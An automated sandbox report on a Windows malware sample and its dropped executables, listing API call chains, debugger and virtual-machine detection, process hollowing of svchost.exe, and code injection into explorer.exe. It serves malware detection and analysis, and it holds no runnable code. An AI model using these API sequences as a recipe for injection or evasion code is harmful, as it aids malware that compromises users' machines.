Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683970138 FindFirstFileW,CreateDirectoryW,CopyFileW,FindNextFileW,FindClose,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	11_2_00007FF683970138
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839706C8 FindFirstFileW,CreateDirectoryW,CopyFileW,FindNextFileW,FindClose,_invalid_parameter_noinfo_noreturn,	11_2_00007FF6839706C8
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839709A4 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,FindClose,	11_2_00007FF6839709A4
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68396DDD8 wsprintfW,FindFirstFileW,wsprintfW,PathFindExtensionW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,wsprintfW,FindNextFileW,FindClose,	11_2_00007FF68396DDD8
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683961B60 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	11_2_00007FF683961B60

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Code function: 0_2_00007FF795D11420 GetSystemInfo,

0_2_00007FF795D11420

Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 60000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat	Jump to behavior

Source: explorer.exe, 00000003.00000002.3343563900.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: explorer.exe, 00000003.00000002.3339715609.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}99105f770555d7dd
Source: tmp1946.exe, 0000000B.00000002.2550280470.000001DEDDD54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllNT
Source: explorer.exe, 00000003.00000003.3094406378.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0r
Source: explorer.exe, 00000003.00000002.3343563900.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000003.00000002.3343563900.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTcaVMWare
Source: explorer.exe, 00000003.00000000.2113623641.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000%
Source: explorer.exe, 00000003.00000002.3343563900.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000002.3337758114.0000000003554000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: explorer.exe, 00000003.00000002.3343563900.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000003.00000002.3337758114.0000000003554000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 d9 2e dc 89 72 dX
Source: explorer.exe, 00000003.00000000.2103838610.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000A
Source: explorer.exe, 00000003.00000002.3339715609.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}^
Source: explorer.exe, 00000003.00000003.3094406378.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000003.00000002.3337758114.0000000003554000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 d9 2e dc 89 72 dX
Source: explorer.exe, 00000003.00000002.3337758114.0000000003554000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware,p
Source: explorer.exe, 00000003.00000002.3343563900.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000_
Source: explorer.exe, 00000003.00000002.3343563900.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}0#{5-
Source: explorer.exe, 00000003.00000000.2103838610.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000003.00000000.2113623641.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.2106502490.000000000769A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\52kYJGCon6.exe	API call chain: ExitProcess graph end node	graph_0-19122
Source: C:\Users\user\Desktop\52kYJGCon6.exe	API call chain: ExitProcess graph end node	graph_0-20459
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node	graph_3-31647
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	API call chain: ExitProcess graph end node	graph_4-19120
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	API call chain: ExitProcess graph end node	graph_4-20460
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node	graph_5-19683
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node	graph_5-20473
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node	graph_5-19159
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node	graph_5-19150
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Code function: 0_2_00007FF795D30150 IsDebuggerPresent,GetCurrentProcess,CheckRemoteDebuggerPresent,

0_2_00007FF795D30150

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep	graph_0-19593
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep	graph_4-19592
Source: C:\Windows\System32\svchost.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep	graph_5-19612

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Code function: 0_2_00007FF795D30150 IsDebuggerPresent,GetCurrentProcess,CheckRemoteDebuggerPresent,

0_2_00007FF795D30150

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Code function: 0_2_00007FF795D3A4A0 EncodePointer,__crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00007FF795D3A4A0

Source: C:\Windows\explorer.exe

Code function: 3_2_10A57E80 CreateToolhelp32Snapshot,Thread32First,GetCurrentProcessId,GetCurrentThreadId,HeapAlloc,HeapReAlloc,Thread32Next,CloseHandle,

3_2_10A57E80

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Code function: 0_2_00007FF795D2DFBC LoadLibraryA,GetProcAddress,

0_2_00007FF795D2DFBC

Source: C:\Users\user\Desktop\52kYJGCon6.exe

0_2_00007FF795D2EF58

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D3A24C SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF795D3A24C
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E63A24C SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FF60E63A24C
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFAA24C SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF60BFAA24C
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA79BBC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00007FF7CA79BBC0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA79C44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FF7CA79C44C
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7A9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FF7CA7A9924
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA79C62C SetUnhandledExceptionFilter,	6_2_00007FF7CA79C62C
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA79BBC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00007FF7CA79BBC0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA79C44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00007FF7CA79C44C
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7A9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00007FF7CA7A9924
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA79C62C SetUnhandledExceptionFilter,	9_2_00007FF7CA79C62C
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8370F20 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00007FF8B8370F20
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B834A184 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00007FF8B834A184
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB65054 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00007FF8BFB65054
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB64A34 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00007FF8BFB64A34
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB76810 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00007FF8BFB76810
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB75DF8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00007FF8BFB75DF8
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB769F8 SetUnhandledExceptionFilter,	9_2_00007FF8BFB769F8
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB9D414 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00007FF8BFB9D414
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BEDA24C SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00007FF69BEDA24C
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68393A760 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00007FF68393A760
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68393ACE8 SetUnhandledExceptionFilter,	11_2_00007FF68393ACE8
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68393AB08 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00007FF68393AB08
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683942F3C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00007FF683942F3C

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\svchost.exe

File created: tmp8AEF.exe.2.dr

Jump to dropped file

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Code function: 0_2_00007FF795D2F204 GetModuleFileNameW,CreateProcessW,CreateFileW,GetFileSize,CloseHandle,VirtualAlloc,CloseHandle,ReadFile,VirtualFree,CloseHandle,CloseHandle,GetThreadContext,VirtualFree,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualFree,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,WriteProcessMemory,VirtualFree,RtlCompareMemory,ReadProcessMemory,WriteProcessMemory,VirtualFree,WriteProcessMemory,SetThreadContext,VirtualFree,ResumeThread,VirtualFree,VirtualFree,

0_2_00007FF795D2F204

Contains functionality to inject threads in other processes

Source: C:\Windows\explorer.exe

Code function: 3_2_10A59110 VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,

3_2_10A59110

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\svchost.exe

Thread created: C:\Windows\explorer.exe EIP: 8B70000

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\svchost.exe

Memory written: C:\Windows\explorer.exe base: 8B70535 value starts with: 4D5A

Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\svchost.exe	Memory written: PID: 1028 base: 8B70000 value: 40			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 1028 base: 8B70535 value: 4D			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Section loaded: NULL target: C:\Windows\System32\svchost.exe protection: readonly	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: NULL target: C:\Windows\System32\svchost.exe protection: readonly	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: NULL target: C:\Windows\System32\svchost.exe protection: readonly	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Thread register set: target process: 2520	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Thread register set: target process: 7124	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Thread register set: target process: 1272	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Memory written: C:\Windows\System32\svchost.exe base: 108D9E3010	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: C:\Windows\explorer.exe base: 8B70000	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: C:\Windows\explorer.exe base: 8B70535	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Memory written: C:\Windows\System32\svchost.exe base: 68E4EE9010	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Memory written: C:\Windows\System32\svchost.exe base: EA24823010	Jump to behavior

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe "C:\Users\user\AppData\Local\Temp\tmp8AEF.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\tmp1946.exe "C:\Users\user\AppData\Local\Temp\tmp1946.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Process created: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe "C:\Users\user\AppData\Local\Temp\tmp8AEF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM	Jump to behavior

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Code function: 0_2_00007FF795D2CCD4 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00007FF795D2CCD4

Source: explorer.exe, 00000003.00000003.3094406378.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd=
Source: explorer.exe, 00000003.00000002.3336900452.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.2104545202.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000003.00000002.3339379976.0000000004B00000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3336900452.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.2106079648.0000000004B00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000002.3336900452.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.2104545202.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000003.00000002.3336900452.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.2104545202.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000003.00000000.2103838610.0000000000EF8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3335969864.0000000000EF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PProgman

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Code function: 0_2_00007FF795D34534 cpuid

0_2_00007FF795D34534

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: _getptd,TranslateName,GetLocaleNameFromLangCountry,GetLocaleNameFromLanguage,TranslateName,GetLocaleNameFromLangCountry,ProcessCodePage,IsValidCodePage,GetLocaleInfoEx,GetLocaleInfoEx,GetLocaleInfoEx,_itow_s,GetLocaleNameFromLanguage,_invoke_watson,_invoke_watson,	0_2_00007FF795D3DD68
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: _getptd,GetLocaleInfoEx,GetLocaleInfoEx,TestDefaultCountry,GetLocaleInfoEx,TestDefaultCountry,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_getptd,GetLocaleInfoEx,_invoke_watson,	0_2_00007FF795D3D744
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: GetLocaleInfoEx,malloc,GetLocaleInfoEx,WideCharToMultiByte,free,	0_2_00007FF795D3AA20
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: GetLocaleInfoEx,	0_2_00007FF795D3DC64
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: EnumSystemLocalesEx,	0_2_00007FF795D3AC1C
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: __crtGetLocaleInfoA,GetLastError,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoA,_calloc_crt,free,free,GetLocaleInfoEx,_calloc_crt,GetLocaleInfoEx,free,GetLocaleInfoEx,_invoke_watson,	0_2_00007FF795D33B98
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: GetLocaleInfoEx,GetLocaleInfoEx,GetACP,	0_2_00007FF795D3DBB0
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_00007FF795D3AB7C
Source: C:\Windows\explorer.exe	Code function: GetLocaleInfoEx,	3_2_10A7602C
Source: C:\Windows\explorer.exe	Code function: _calloc_crt,_malloc_crt,free,_malloc_crt,free,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__free_lconv_mon,free,free,free,free,	3_2_10A74060
Source: C:\Windows\explorer.exe	Code function: _getptd,TranslateName,GetLocaleNameFromLangCountry,GetLocaleNameFromLanguage,TranslateName,GetLocaleNameFromLangCountry,ProcessCodePage,IsValidCodePage,GetLocaleInfoEx,GetLocaleInfoEx,GetLocaleInfoEx,_itow_s,GetLocaleNameFromLanguage,	3_2_10A76130
Source: C:\Windows\explorer.exe	Code function: GetLocaleInfoEx,	3_2_10A7C2F8
Source: C:\Windows\explorer.exe	Code function: _getptd,__lc_wcstolc,__get_qualified_locale,__lc_lctowcs,GetLocaleInfoEx,GetACP,	3_2_10A6EA5C
Source: C:\Windows\explorer.exe	Code function: __crtGetLocaleInfoA,GetLastError,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoA,_calloc_crt,free,free,GetLocaleInfoEx,_calloc_crt,GetLocaleInfoEx,free,	3_2_10A6CA58
Source: C:\Windows\explorer.exe	Code function: _getptd,GetLocaleInfoEx,GetLocaleInfoEx,TestDefaultCountry,GetLocaleInfoEx,TestDefaultCountry,_getptd,GetLocaleInfoEx,	3_2_10A75B0C
